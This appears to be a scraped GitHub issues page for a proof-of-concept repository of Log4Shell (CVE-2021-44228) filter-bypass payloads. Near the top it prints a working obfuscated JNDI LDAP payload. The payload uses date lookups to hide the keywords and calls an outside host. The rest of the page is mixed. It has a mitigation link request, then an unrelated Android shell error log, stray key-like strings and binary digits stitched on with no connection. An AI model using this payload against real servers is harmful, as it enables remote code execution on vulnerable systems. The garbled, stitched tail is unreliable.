puliczek / cve-2021-44228-poc-log4j-bypass-words Goto Github PK

This one seems less popular for some reason, but it works! Java date formatting converts YYYY to 2021, but it converts 'YYYY' to YYYY.

${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}

p.s. check out my tool for locating vulnerable Log4J versions on a filesystem: https://github.com/mergebase/log4j-detector !

[ CONTENT DELETED ]

The provided mitigations does not work for all the vulnerable versions and rc1 is vulnerable to some payloads.

Please update "Best solution to protect from CVE-2021-44228" with a link to https://logging.apache.org/log4j/2.x/security.html or copy the mitigations listed in that page.

flo-login

visit : https://rinix.awnto.com/docs
if facing any issue

mkdir: '/data/data/com.awnto.rnx.core': Permission denied

is RNX Core is installed
if installed then is it official RNX build

droping to android system shell
opening Android default shell
:/data/data/com.awnto.rnx.rtmx/files/home $ E4-!J9H!Z2iURbI
/system/bin/sh: E4-!J9H!Z2iURbI: inaccessible or not found
127|:/data/data/com.awnto.rnx.rtmx/files/home $
fil
/system/bin/sh: fil: inaccessible or not found
127|:/data/data/com.awnto.rnx.rtmx/files/home $99.$$
``https://rinix.awnto.com/docs```
D4
A0
B3
C2
-#Keys0zæ

⁷10101110101011101010111010101110